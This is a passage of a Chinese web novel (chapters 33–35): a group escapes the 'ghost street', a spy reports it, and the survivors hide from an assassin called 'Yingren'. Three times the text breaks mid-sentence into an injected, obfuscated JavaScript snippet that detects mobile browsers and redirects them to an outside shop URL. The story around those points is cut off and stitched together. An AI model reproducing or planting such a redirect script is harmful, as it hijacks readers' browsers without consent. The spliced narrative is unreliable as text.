她的身体很轻,轻得像一片被风吹落的叶子,他能感觉到她的每一根骨头、每一块肌肉,都在这具瘦小的身体里微微颤抖。 “初花。”他叫了一声。 她没有回应。 她的眼睛还在看着他的方向,但瞳孔里没有焦点,像两口干涸的井,里面什么都没有。 她的嘴唇还在动,还在发出一些含混的音节,但那些音节连不成词,词连不成句。 通道在缩小。 裂缝在愈合。浓雾在往回倒灌。 但愈合的速度比预期的慢得多,因为矿脉的能量场被温初花吞噬了一大块,短时间内无法恢复。 那道口子还在,虽然比刚才小了一些,但还在。 苏游云抱紧了她,朝拱门冲去。 雾很冷,冷得像冰水灌进骨头缝里,但他没有停。 他的能量感知在浓雾中像一盏灯,照亮了前方那条窄窄的、正在迅速缩小的通道。 通道的边缘在燃烧,能量火花从他的身边飞过,有几颗溅在他的外套上,烫出了几个焦黑的窟窿。 身后传来了脚步声。 姓赵的死了,但还有活着的人。 方敏第一个冲进了浓雾。她的脸上全是血,分不清是自己的还是别人的,下巴上那道被老三指甲划开的口子还在往外渗血,血珠顺着脖子往下淌,滴在雾气里,不知道落在了哪里。 她的右手还攥着那把菜刀,刃口卷了,刀背上挂着不知是谁的皮肉。 她的左臂垂在身侧,不自然地晃着,像是脱了臼。但她没有扔下刀,也没有停下脚步。 “快!快!”她回头朝身后喊,声音沙哑得几乎听不清,但那股狠劲儿从沙哑里透出来,像一把钝刀也能砍人,“跑!都他爹的跑快点!” 小六跟在方敏身后,铁锹不知道丢在了哪里,他空着手,拼命地跑,脚下的雾像沼泽一样拽着他的腿,每一步都要把膝盖提到胸口才能迈出去,但他不敢停,也不能停。 他的脸上分不清是泪还是汗,嘴里在喊着什么,喊了好几句才听清——“温姐!温姐在前面!跟上!” 他的声音很年轻,年轻到带着一股不管不顾的冲劲儿,像一匹被放开了缰绳的马,前面是悬崖也拦不住他。 更多的人跟了上来。 一个长发的瘦高个儿,胳膊上挨了一刀,皮肉翻着,血顺着手指往下滴,但他跑得比谁都快,一边跑一边回头朝后面喊:“后面的跟上!别掉队!掉了就出不去了!”他的声音在发抖,但他的脚步没有。 一个满脸是血的年轻人,脸上还带着少年人的稚气,跑着跑着忽然笑了。 不是那种开心的笑,是那种——我居然还活着、我居然在往外跑、我居然要做一件二十年没人做成的事——的笑。 笑着笑着,眼泪就下来了,他抹了一把脸,分不清抹掉的是泪还是血,脚下的步子一点没慢。 跟在方敏身后的一个女人,腿上被划了一道,跑起来一瘸一拐的,每一步都像踩在刀刃上。 前面的人伸手拉了她一把,她没有说谢谢,只是攥紧了那只手,两个人一起跑,谁都没有松开。 一个四十多岁的男人跑在队伍中间,忽然喊了一声:“老子在鬼街待了十五年!十五年!今天终于要出去了!” 他的声音很大,大到在浓雾里来回撞,像一块石头被丢进了深井里,回声一下一下地荡开。 没有人接他的话,但好几个人笑了。 不是嘲笑,是那种——你说出了我们所有人的心里话——的笑。笑着笑着,有人哭了,哭着哭着,又笑了。 有人在喊“快跑”,有人在喊“别回头”,有人在喊“前面的等等后面的人”。 声音叠在一起,嘈杂、混乱,但在浓雾中汇成了一股力量,像一根绳子,把所有人拴在一起,谁都不让谁掉下去。 温初花的身体在浓雾中发着光。白光从她的皮肤表面渗出来,像一盏灯,为身后的人照亮了通道。 她的意识已经模糊了,但她的能力还在自动运转,吞噬着周围残余的缚灵粒子,维持着通道的稳定。 苏游云抱着她,一步,两步,三步。 脚踩到了实地。 不是鬼街那种潮湿的、长满青苔的砖石地面,是干燥的、粗糙的、带着砂砾的土地。 外面的土地。 他抬起头,看到了天空。 不是鬼街那种灰蒙蒙的、永远看不到星星的天空,是真正的、漆黑的、缀满了星星的天空。 月亮挂在东边的山脊上,又大又圆,月光洒在他身上,把怀里的温初花照得像一尊白色的雕像。 她还在发光,但光在慢慢地变暗。像一盏油尽的灯,在最后时刻挣扎着亮了几下,然后慢慢地、不可阻挡地暗了下去。 她的手从他的肩膀上滑落,垂在身侧,手指微微蜷着。她的眼睛闭上了,睫毛上挂着一滴不知道是雾水还是泪水的液体,在月光下亮了一下。 苏游云抱着她,站在那里,没有动。 身后传来嘈杂的脚步声、喘息声、哭喊声。 方敏从雾里冲了出来,跪在地上大口大口地喘气,血和汗混在一起,滴在干燥的土地上。 “出来了……”她的声音很小,小到像是怕惊动什么东西,“我出来了……” 她的眼泪掉了下来,混着脸上的血,滴在干燥的土地上,一颗一颗的,像是这十年来的每一天都在这一刻落了下来。 小六从雾里冲了出来,他跑得太快,刹不住脚,往前踉跄了好几步,差点摔倒。 他弯着腰,双手撑着膝盖,大口大口地喘气。 喘着喘着,他直起身,看着四周——天空、月亮、远处的山、脚下的土地——然后他笑了。那是一个很年轻的笑,干干净净的,带着一股劫后余生的傻气。 “我们还活着。”他说,“我们还活着!” 更多的人从雾里冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她抬起手,想去够那些星星,够不到,但她不在乎。 小六从地上爬起来,跌跌撞撞地走到苏游云身边,伸出手想碰温初花的手,又缩了回去。 远处的地平线上,有光在移动。不是月光,是车灯。 救赎会的车。 苏游云抱着温初花,朝那个方向走去。 身后的人跟了上来,一个、两个、三个……十几个。他们浑身是血,满脸是泪,脚步踉跄,但没有一个人掉队。 方敏走在最前面,脱臼的左臂垂在身侧,右手还攥着那把卷了刃的菜刀。 小六跟在方敏身后,眼睛红红的,但步子很稳。 其他人跟在后面,没有人说话,但脚步声叠在一起,像心跳,又像鼓点。 通道在他们身后关闭了。 浓雾重新聚拢,拱门重新沉默。 但鬼街的天变了。 那扇关了二十年的门,被一个人、一把匕首、一颗不肯认输的心,撬开了一道缝。 从此以后,风会从这道缝里吹进去。 光也会。 33. 平静的夜晚 鬼街外面的世界,不是一片空旷的荒野。 拱门之外,是一道长约百米的缓坡,坡上长满了枯黄的野草,草叶在夜风中沙沙作响。 坡底是一条干涸的河床,河床上堆满了被洪水冲刷过的碎石和断木。 河床对面是一条土路,土路蜿蜒着伸向远处黑暗中,不知道通向哪里。 在河床对面的一棵老槐树上,蹲着一个人。 他从天黑之前就等在那里了。 他收到了任务,只有一句话:盯紧了,看到什么,记下来,传回去。 他蹲在树杈上,举着一个单筒望远镜。 这东西在藤洲岛上也是稀罕货,外面世界的高科技,被层层封锁运进来的,花了很大的价钱。 据说能实时传送画面、声音,甚至能量。 镜筒里,鬼街的拱门在月光下像一张闭着的嘴,浓雾在门洞里翻涌,跟平时没什么两样。 他蹲了很久,久到腿都麻了。 他开始怀疑自己今晚要在这里喂一夜蚊子。 他正准备换个姿势,换到一半的时候,拱门变了。 浓雾开始往外涌。像潮水一样的涌动,是猛烈的、像决堤一样的喷射。 雾从门洞里冲出来,裹挟着一股他从未感受过的力量,推着枯草、碎石、断木,往坡下翻滚。 那棵老槐树的树枝被风吹得剧烈摇晃,他差点从树上掉下去,一只手死死抓住树干,另一只手把望远镜举到眼前。 镜筒里,他看到了光。 一种他从来没有见过的、白色的、刺目的光。 光从浓雾的中心射出来,像一把刀把雾劈成了两半。 他眯着眼睛,透过望远镜,努力去看光源的位置。 然后他看到了一个女人,被一个男人抱着,从雾里冲了出来。 他的手指在望远镜的金属外壳上攥紧了。 女人的身体在发光。 白光从她的皮肤表面渗出来,在浓雾中像一盏灯,很亮,亮到他能看清她脸上的每一道轮廓——苍白的脸,紧闭的眼睛,垂在身侧的手。 男人的脸看不清,只能看到他的背影,和那件被能量火花烫出了好几个窟窿的外套。 他们身后跟着一群人。 十几个,有的在跑,有的在走,有的被人搀着。 满脸是血,浑身是伤,踉踉跄跄,但没有一个人回头。 他们冲出了浓雾,踩上了坡上的枯草,有人跪在地上,有人仰头看天,有人抱在一起哭。 男人抱着女人,站在人群中间,没有动。 月光照在他们身上,女人的白光在慢慢变暗,像一盏油尽的灯,最后闪了一下,灭了。 她把头靠在男人的肩膀上,像睡着了。 槐树上的人把望远镜放下来,从口袋里掏出一个传信器。 他按下传信器的凸起,压低声音,说了一句话。 “鬼街的门开了。一个女人和一个男人出来了。带出来十几个人。她现在昏迷了。” 他松开通话键,传信器闪了一下红光,表示消息已发送。他把传信器塞回口袋,重新举起望远镜。 他需要看到他们去了哪里,看到了什么人接应。 他看到了那辆车——远处地平线上,有光在移动,不是月光,是车灯。 他的镜头对准了那个方向。 车灯越来越近,三辆黑色的越野车,在土路上颠簸着驶来。 车停在人群旁边,车门打开,下来几个穿深色衣服的人。 他们走向那个抱着女人的男人,说了几句话,然后打开后车门。 男人抱着女人上了车,其他人也跟着上了车。车门关上,车灯调转了方向,沿着土路往远处开去。 槐树上的人把这一切都记在了脑子里。 等车灯彻底消失在黑暗中,他才从树上滑下来,活动了一下发麻的腿脚,然后消失在夜色里。 他要去最近的据点,把今晚看到的这一切,完完整整地汇报上去。 另一边。 救赎会的三辆黑色越野车在黑暗的土路上疾驰。 车灯切开夜色,照亮前方坑坑洼洼的路面,轮胎碾过碎石,发出噼里啪啦的声响,像有人在车底放了一串鞭炮。 苏游云坐在中间那辆车的后座上,怀里抱着温初花。 她的体温已经降下来了,从烫手变成了微温,像一杯放了太久的茶,不凉不热,刚好能入口。 呼吸也比之前稳了一些,不再像蚕丝那么细,而是像一条小溪,虽然浅,但一直在流。 她的眉头微微皱着,不知道在梦里遇到了什么。 方敏坐在副驾驶,脱臼的左臂已经被车上的急救员接上了,用绷带吊在脖子上。 她靠在椅背上,闭着眼睛,脸上的血已经擦了,露出一道从下巴延伸到左耳的伤口,皮肉翻着,针脚密密麻麻,像一条蜈蚣趴在脸上。她没有喊疼,连眉头都没皱一下,好像那道伤口是别人的。 小六挤在最后一排,跟另外两个人坐在一起,膝盖顶着前排的座椅,腿伸不直,但他不在乎。他把额头抵在车窗上,看着外面飞速后退的夜色,嘴里一直在念叨着什么,声音很小,小到只有他自己能听到。他说的是:“出来了,真的出来了,不是做梦……” 后座的车窗开了一条缝,风从外面灌进来,吹得温初花的头发在苏游云的手臂上拂来拂去。 她的头发很硬,不像女人的头发,更像一蓬被风吹乱了的野草。 他低下头,看着她。她的脸还是很白,白得像月光。 睫毛上那滴水珠已经干了,留下一个小小的白色痕迹。 前排的急救员转过头来,把一个耳机递给他。“先生,总部来的消息。加密频道。” 苏游云接过耳机,塞进耳朵里。那边的声音很轻,但很清晰,一字一句,像念报告。 “□□派出了‘影刃’。目标是温初花。预计在港口动手。时间不明。” 苏游云的手指在温初花的手腕上微微收紧了一下。 他的表情没有变,还是那副没什么表情的样子,但他的瞳孔——那双在灯光下总是比平时大一圈的瞳孔——缩了一下。 很细微,细微到旁边的人根本注意不到。 “知道了。”苏游云说,把耳机摘下来,还给急救员。 方敏从前排转过头来,看着他的脸。“怎么了?” 苏游云沉默了一秒,然后说了一句让车里所有人都安静下来的话。 “□□的人来了。比我们预想的快。白洛明派了影刃,要在港口截杀她。” 方敏的手指在车门把手上攥紧了,攥得指节发白。小六的念叨声停了,车里忽然变得很安静,安静到能听到轮胎碾压碎石的声音,能听到发动机的低鸣,能听到每个人的呼吸声。 影刃。 这个名字即使在藤洲岛也是传说级别的存在。白洛明的影子,□□最强的杀手,从未失手。 小六从后排探出头来,声音有些发抖:“温姐还在昏迷……我们怎么办?” 苏游云低头看着怀里的温初花。 她对外面发生的一切毫不知情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17598828|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的眉头皱着,不知道在梦里看到了什么可怕的东西,她的手指微微蜷了一下,像是在抓着什么,又像是在推开什么。 “加快速度。”苏游云对司机说,“加快速度。在她醒来之前,赶到安全屋。” 司机踩下了油门。 车加速了,在黑暗的土路上颠簸着往前冲,车窗外面的风越来越大,吹得温初花的头发在苏游云的手臂上拂来拂去。 方敏把菜刀从腰里抽出来,在裤腿上擦了擦,又插回去。 小六从座位底下摸出一根铁管,握在手里,指节发白。 没有人说话,但所有人都知道——真正的战斗还没有开始。 与此同时,在鬼街的拱门内侧,浓雾正在缓缓散去。 阿七靠在墙根底下,大口大口地喘气。 他的衣服被雾水浸透了,贴在身上,冰凉刺骨。 他的脸白得像纸,嘴唇发紫,浑身在发抖。 他刚才试图冲出去——不是要逃离鬼街,是要追温初花。 不可以出去,只要她一出去,必然会面临□□的追杀,白洛明肯定要派影刃出手。 只要待在鬼街,白洛明就不可能为了她而让影刃进来,能来鬼街送死的,都是些无关紧要的人罢了。 他看到她被苏游云抱着冲进了浓雾,看到方敏、小六、十几个人跟着冲了出去。 他站起来,想跑,但腿不听使唤。 他被鬼街的能量场吸得太久了,体内的能量几乎被抽干,连站都站不稳,更别说冲过那片浓雾。 他跌跌撞撞地冲到拱门内侧,一只脚迈进了雾里,然后被一股无形的力量弹了回来,摔在地上,后背撞在墙上,疼得他眼前发黑。 浓雾在他面前翻涌着,像一堵活的墙,拒绝他通过。 他出不去了。 阿七靠着墙,闭上眼睛,大口大口地喘气。 他的肺像被火烧过一样疼,每一次呼吸都带着血腥味。他知道自己失败了。 他没能追上去,没能帮上任何忙。 他只能留在这里,留在这个他不想留的地方。 远处传来脚步声。 不是追兵,是还活着的人——琴师的余党逃散了,疯子三兄弟还晕在地上,灰衣年轻人被锁在地下室里。 鬼街在这一夜失去了它的主宰者,也失去了它的牢笼属性。 那道裂缝还在,薄得像一层纱,但它在。也许有一天它会再打开,也许不会。 阿七睁开眼睛,从口袋里摸出传信器。 信号很弱,但还有。 他按下了通话键,拨了温初花的号码。 嘟——嘟——嘟——没有人接。 他等了一会儿,又拨了一次。 还是没有人接。 他知道她不会接了,她还在昏迷,或者——他不敢想那个“或者”。 他把传信器握在手心里,攥了很久。 然后他从地上爬起来,扶着墙,一步一步地往回走。 他要去沈婆婆那里,告诉她温初花冲出去了。 他要去老周的铁匠铺,看看还有没有人需要帮忙。 他要把这里的事情收拾好,等他有一天能出去的时候,把这些事一件一件地告诉温初花。 如果那一天会来的话。 阿七走在空荡荡的街道上,月光照在他背上,把影子拉得很长。 整条街都是安静的,安静得像一座坟墓。 但他知道,这不是坟墓,这是一扇暂时关上了的门。 门还会再开的。 34. 杀手来临前夕 温初花醒来的时候,以为自己还在鬼街。 天花板是灰色的,但不是那种被油烟熏了二十年的灰,是水泥本来的颜色,没有裂缝,没有水渍,干净得不像真的。 空气里没有霉味,没有煤灰味,只有一种淡淡的消毒水味道,混着旧棉布的棉布味。她盯着天花板看了几秒,然后听到翻书的声音。 苏游云坐在床边的一把木椅上,左腿搭在右腿上,手里拿着一本书。 不是鬼街那些被翻烂了的旧书,是一本看起来很新的书,封面是深蓝色的,上面印着她看不懂的字。 他的眼镜架在鼻梁上,目光从书页的上方移过来,落在她脸上。 “你昏了三天。”他说。 温初花张了张嘴,嗓子干得像砂纸。 她舔了一下嘴唇,尝到一股咸腥味,嘴唇上全是干裂的口子。 “水。”她说。 苏游云放下书,从床头的小桌上端起一个搪瓷杯,扶着她坐起来。 她靠着枕头,接过杯子,手在抖,水洒了一些在被子上。她灌了一大口,水是温的,有一股淡淡的药味。 她没管,一口气喝了大半杯,才停下来喘气。 “这是哪里?” 她环顾四周。屋子不大,像地下室,没有窗户,头顶吊着一盏光秃秃的白炽灯,光线昏黄,照着水泥墙壁和水泥地面。 墙角堆着几个金属箱子,箱子上有她没见过的符号。空气是凉的,带着一股从地底下渗上来的潮气,但不是鬼街那种潮——这里是干的,冷得干净。 “救赎会在藤洲的秘密据点。”苏游云把书合上,搁在椅子扶手上,“贫民窟地下三层,入口很隐蔽。暂时安全。” “暂时?”温初花抓住这个词,偏头看着他。 苏游云的表情没有变,但他的眼神——那双在灯光下总是比平时大一圈的瞳孔——微微缩了一下,像猫在黑暗里看到猎物时的反应。 “追杀你的人,知道你出来了。他们已经派了新的杀手过来。这个人不一般。” 温初花试图起身。手臂撑在床板上,肌肉像被人抽掉了一样,软得像棉花。她咬着牙,撑了两次,第二次的时候整个身体都在抖,最后还是跌回了枕头上,喘着粗气。她低头看着自己的手,十根手指在微微发抖,指甲缝里还有干涸的血迹,分不清是别人的还是自己的。 “我的能力……”她把右手举到眼前,掌心朝上,试着去感受体内的那团火。以前那团火烧得很旺,像冬天壁炉里的柴火,噼里啪啦的,隔着胸腔都能感觉到热度。现在它还在,但小了很多,像一根快要燃尽的蜡烛,只剩最后一小截烛芯在苟延残喘。 她用意识去触碰它,它亮了一下,很微弱,像有人按了一下手电筒的开关,亮了,又灭了。 她的手指尖有了一点感觉,不是麻,不是热,是——空。 像风吹过一个空瓶子,瓶口发出呜呜的响声,但瓶子里什么都没有。 “被压制了三个月,需要时间恢复。”苏游云坐在椅子上,两只手交叠放在膝盖上,姿势很放松,但他的肩膀是绷着的,“而且你最后那次‘爆发’消耗太大了。你在鬼街门口吞了那么多缚灵粒子,那些东西还在你体内,你的身体需要时间把它们消化掉、排出体外。现在你感觉到的不是能力的消失,是能力的休眠。” 温初花把手放下来,放在被子上面。被子是灰色的,洗得发白,边角磨出了毛边,但很干净,有一股肥皂的味道。 她盯着自己的手看了几秒,然后抬起头。“你还没说,那个人是谁。” 苏游云沉默了片刻。 他的手指在膝盖上轻轻敲了两下,很轻,轻到几乎没有声音,但她听到了,那节奏不像随意敲的,像某种摩尔斯电码,但她读不懂。 “外号‘影刃’。”他说出这个名字的时候,声音比平时低了一些,每个字都咬得很清楚,像在念一份死亡通知书,“□□最强的杀手。没有档案,没有记录,没有人知道他的长相、年龄、能力、武器。所有见过他的人,都死了。” 温初花的手指在被子上微微蜷了一下。 “据说他杀过的异人,比你见过的还多。”苏游云看着她的眼睛,“而且他最大的特点是——他杀人的时候,会用缚灵粒子系统压制目标的异能力。对他来说,所有异人都是普通人。” 温初花沉默了。 她靠在枕头上,看着头顶那盏光秃秃的白炽灯。 她在想一件事——一个能在杀人时调用缚灵粒子系统的人。缚灵粒子系统是五洲联盟用来控制异人的武器,遍布全球,但在藤洲岛上,这套系统的存在感很弱,因为岛上有磁场干扰。能在这里调用缚灵粒子,说明这个人要么有权限接入五洲联盟的核心系统,要么他本身就是那个系统的一部分。 她想到了一个可能,然后把这个可能压了下去。现在还不到想这个的时候。 “听起来怎么像是专门对付我的?”她说。 苏游云没有说是,也没有说不是。他的沉默本身就是回答。 温初花低下头,看着自己的手。她把十根手指一根一根地攥紧,又一根一根地松开。攥紧的时候能感觉到指甲陷进掌心的肉里,松开的时候能看到掌心那些被指甲掐出来的红印慢慢变淡,像潮水退去后沙滩上的脚印,一个一个地被浪抹平。 “苏游云。” “嗯。” “你说他杀过很多异人。那些异人,也是被白洛明派去杀的吗?” 苏游云的手指在膝盖上停了一下。“不全是。有些是任务目标。有些是——”他顿了一下,“阻碍。” “阻碍什么?” “阻碍白洛明做事。”苏游云说这句话的时候,目光从她脸上移开,落在墙角那些金属箱子上。他的目光在那些箱子上停了一下,又收回来,“白洛明在藤洲岛上经营了十几年,他的势力不只是□□。他还有别的身份、别的目的。我不知道那些目的是什么,但我知道一件事——任何挡在他路上的人,都会死。而影刃,就是他的手。” 温初花把手放在被子上,手指无意识地攥着被角,攥得指节发白,又松开,再攥紧。 “他在鬼街的时候就想要我。不是要我死,是要我——他想要我活着,但在他手里。琴师说林生宸要活捉我。白洛明呢?他派了影刃,是要杀我,还是也要活捉我?” 苏游云看着她的眼睛,那双眼镜片后面的眼睛在昏黄的灯光下显得很深,瞳孔还是比平时 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像一棵被风吹倒的树,终于把根扎进了土里。 “至少现在不打算。我需要时间恢复能力,需要时间弄清楚影刃是谁,需要时间——”她顿了一下,“需要时间想想白洛明到底想要什么。” 苏游云看着她,没有说好,也没有说不好。他从椅子上站起来,走到墙角,打开一个金属箱子,从里面拿出一包东西。纸包拆开,是两个馒头和一小包肉干。他走回来,把馒头和肉干放在床头的桌上。 “先吃东西。”他说,“你三天没吃饭了,胃会受不了。先吃半个馒头,喝点水。等肠胃适应了再吃肉干。” 温初花看着那两个馒头,白白的,暄暄的,冒着热气。 她伸手拿起一个,掰了一半,把另一半放回去。她咬了一口,馒头很软,带着一股麦香味,在嘴里嚼了几下就化了。她嚼得很慢,像在数每一口要嚼多少下才能咽下去。 “你想过没有,”她咽下第一口,抬头看着苏游云,“影刃可能是冲着你来的。不是冲着我。” 苏游云坐在椅子上,重新拿起那本书。他翻到刚才合上的那一页,用手指压住书脊,但没有看。“为什么这么想?” “因为你把我从鬼街带出来了。因为你背后有救赎会。因为你一直在做白洛明不想让任何人做的事。” 温初花咬了一口馒头,嚼了几口,咽下去,“白洛明想杀我,可能不只是因为我知道什么秘密,可能是因为你——因为你在帮我。他不想让你成功。他不想让任何人从鬼街出来。” 苏游云的手指在书页上停了一下。 他没有抬头,但他的嘴唇微微动了一下。不是笑,是一种——她说不清是什么——像是一个人在黑暗中走了很久,忽然看到前方有一盏灯,他知道那盏灯不是为他点的,但他还是觉得路没那么难走了。 “也许都是。”苏游云说,“也许他既想杀你,也想杀我。也许对他来说,这本来就是同一件事。” 温初花把最后一口馒头塞进嘴里,嚼了嚼,咽下去。她拿起搪瓷杯,把剩下的半杯水喝完了。水有点凉了,药味更重了,但她不在乎。 35. 咱们能去哪 “苏游云。” “嗯。” “如果我恢复了能力,影刃的缚灵粒子压制对我有用吗?” 苏游云合上书,抬起头看着她。白炽灯的光照在他的眼镜片上,反射出一小片白色,遮住了他的眼睛。 “你能吞噬缚灵粒子。影刃用缚灵粒子压制异人的能力——对他来说,你不是异人。你是吞噬缚灵粒子的人。”苏游云的声音不大,但每个字都说得很清楚,“如果你能在他动手之前吞噬掉他调用的缚灵粒子,他的压制就会失效。他就会发现,他面对的不是一个普通异人,而是一个——” 他没说完。温初花帮他说完了。 “而是一个,专门吃他子弹的人。” 苏游云的嘴角微微动了一下。那个弧度很小,小到不仔细看根本看不出来,但温初花看出来了。那是笑。不是开心的笑,是一种——你跟我说了一个冷笑话,我觉得不好笑,但还是给你面子——的笑。 “算是吧。”他说。 温初花躺回枕头上,盯着天花板。 水泥天花板上有几道细细的裂纹,但不像鬼街那道歪歪扭扭的问号,这几道裂纹是直的,像被人拿尺子量过一样。 她盯着那些裂纹看了一会儿,脑子里在想影刃的事,在想白洛明的事,在想苏游云刚才说的那些话。 想着想着,眼皮开始发沉,像有人在她眼睛上放了两个沙袋,怎么都睁不开。 “再睡一会儿。”苏游云的声音从远处传来,好像隔着一层水,“你需要休息。等你醒了,我们再商量下一步。” 温初花的意识开始模糊,但她听到了一句话——不知道是苏游云说的,还是她自己心里想的。那句话混在昏暗的灯光和消毒水的味道里,像一根针扎进了她的记忆。 “影刃的事,不用你一个人扛。” 她闭上眼睛的时候,嘴角微微动了一下。不是笑,是一种——她终于不用一个人扛所有事情了——的那种放松。 她的呼吸慢慢变得平稳、绵长,像一条小溪,虽然浅,但一直在流,不知道流向哪里,但至少它没有断。 苏游云坐在椅子上,翻开那本深蓝色封面的书。他的目光落在书页上,但没有在看书。他的耳朵在听温初花的呼吸声,很轻,很有规律,像海浪拍打礁石,一下一下的。他在心里数着她的呼吸,一下,两下,三下。 确认她睡着之后,他才开始看书。 墙角那些金属箱子上的符号在昏黄的灯光下闪着微弱的金属光泽。那些符号救赎会的标记,在这间地下室里显得孤零零的。但在更远的地方,在藤洲岛的各个角落里,还有更多的箱子、更多的人、更多的计划在运转。 苏游云翻过一页书,纸页发出轻微的沙沙声。 他在等。等温初花的身体恢复,等影刃露出行踪,等那个不知道会不会到来的时机。 窗外的天已经开始亮了,虽然这间在地下三层的小屋子看不到天空,但苏游云能感觉到光的变化。 能量感知者的优势就在这里——他能感觉到空气中细微的能量流动,能感觉到太阳从地平线上升起时带来的那一瞬间的能量波动。 藤洲岛的清晨跟鬼街不一样。鬼街的清晨是闷的、湿的、停滞的。藤洲岛的清晨是流动的、鲜活的、有生命力的。 他把书翻到下一页,继续看。 温初花翻了个身,面朝墙壁。被子从她肩膀上滑下来一点,露出里面那件灰色的病号服——不知道是谁给她换的,领口很大,露出锁骨下方一小片皮肤。那上面有一道疤,是旧伤,不知道是什么时候留下的。 苏游云没有看她。他低下头,目光落在书页上,一行一行的字从眼前流过,但他一个都没记住。 他在想影刃的事。不是怕,是在计算。影刃的杀人方式——调用缚灵粒子系统压制异人的能力——这意味着他需要某种终端来接入缚灵粒子系统的控制网络。 那种终端不会太小,也不会太轻,影刃不可能随身带着。 所以他要么有同伙在远处操作,要么他本人就是那个终端。 如果是后者,那他身上的能量感知特征会跟普通人不一样。 苏游云能感觉到。只要影刃靠近到一定距离以内,他就能感觉到。 这就是他的优势——影刃不知道苏游云的存在,不知道苏游云的能力,不知道有人在黑暗中等着他。 温初花又翻了个身,这次面朝苏游云的方向。 她的眼睛闭着,睫毛微微颤动,像蝴蝶翅膀。她的嘴唇在动,在说什么梦话,声音太小,听不清。 苏游云把书合上,放在椅子扶手上,靠在椅背上,闭上眼睛。 他也需要休息。 接下来的几天,会很难。 另一边。 方敏坐在倒扣的油桶上,把吊着绷带的左臂搁在膝盖上,右手里攥着一块压缩饼干。 她咬了一口,嚼了很久,腮帮子都酸了。饼干太硬了,硬得像嚼石头,但她没有吐出来,咽下去了,又咬了一口。 下巴上那道从耳朵一直划到下巴的伤口还没拆线,缝上去的黑线在阳光下像一条蜈蚣趴在她脸上。吃饭的时候嘴角会牵扯到线头,疼得她一抽一抽的,但她没有停下来。 吴季浩靠在墙角,双手插在兜里,嘴里叼着一根不知道从哪捡来的草棍,在嘴角一翘一翘的。他刚从琴师那边归顺过来不久,跟温初花没说过几句话,但跟着冲出来了。 他自己也不知道为什么,可能是看到别人都在跑,他就跟着跑了。他抬起头,盯着屋顶那个最大的破洞,阳光从洞里照下来,正好打在他脸上,他眯着眼,没有躲。 “外面的太阳真他妈刺眼。”他说。 林韶华坐在一个纸箱上,两条腿蜷着,胳膊抱着膝盖,下巴搁在膝盖上。她的左小腿上缠着纱布,血从纱布里渗出来,在白色的布料上晕开,像一朵红色的花。 听到吴季浩的话,她的肩膀动了一下,嘴角微微上扬。 “出来就好了。”她说,声音不大,像是在跟自己说,“不管去哪,出来就好了。” 仓库里安静了一瞬。十几个人,散落在各个角落,有的坐着,有的站着,有的靠在墙上,有的趴在被褥上。没有人说话,但所有人的耳朵都在听。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17602088|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>听林韶华说的那句话——不管去哪,出来就好了。那句话像一个钩子,把所有人心里那个不敢想的问题钩了出来。 去哪? 吴季浩把草棍从嘴角拿下来,捏在手指间,盯着它看了看。草棍已经蔫了,两头都被他咬扁了。他把它弹到墙角,转过头看着方敏。 “方姐,你说,咱们能去哪?” 方敏把最后一口饼干咽下去,喝了口水。水是从一个铁皮桶里舀的,救赎会的人送来的,凉的,有一点点铁锈味。她喝得很慢,一口一口地抿,像在品什么好茶。 “我想留下。”她说。 所有人的目光都转向了她。她抬起头,看着那些人,下巴上的缝线在她说话的时候一扯一扯的,疼,但她的表情没有变。 “不是留在仓库里,”她说,“是留在藤洲。跟着救赎会也好,跟着谁都好。我不想再跑了。跑了三年,跑不动了。我就想找个地方,安安静静地待着,不用每天提心吊胆,不用把刀藏在枕头底下睡觉。” 吴季浩沉默了一会儿,把嘴里的草棍吐掉,换了个姿势靠在墙上。 “救赎会?”他说,“那个苏游云的组织?他们能收我们吗?我们又不是什么厉害人物,就是一群打杂的。” 方敏没有说话。她低头看着手里的搪瓷杯,杯底有一些没化开的药粉,在水里沉着一层薄薄的白色。 林韶华把下巴从膝盖上抬起来,看了吴季浩一眼。 “不试试怎么知道?”她说,“温姐拼命开了那条路,不是为了让我们散掉。她是为了让我们活。不是像老鼠一样躲着活,是正儿八经地活。” 小六从墙角站起来,在地上走了两步,又坐下了。他的腿在发抖,不是因为害怕,是因为激动。他的脸涨得有点红,喉结上下滚动了一下,像是有话堵在嗓子眼里,咽不下去也吐不出来。 “林姐说得对。”他说,声音比平时大了不少,“温姐拼了命把我们带出来,不是让我们当缩头乌龟的。我们要在这里站住脚。不是为她,是为我们自己。我们站住了,她才有个后方。她回来的时候,才有个地方可以落脚。” 有人点了点头。有人没有说话,但眼睛里的光变了,从迷茫变成了——什么东西在往前看。 仓库的铁门被人从外面推开了。 所有人同时把手伸向了武器。方敏的右手摸到了腰间的菜刀,小六从地上捡起一根铁管,吴季浩从背后抽出一把短刀。十几个人的动作几乎同步,像一台被启动了开关的机器。 进来的人举起了双手。 “别紧张,别紧张。”他笑着说。 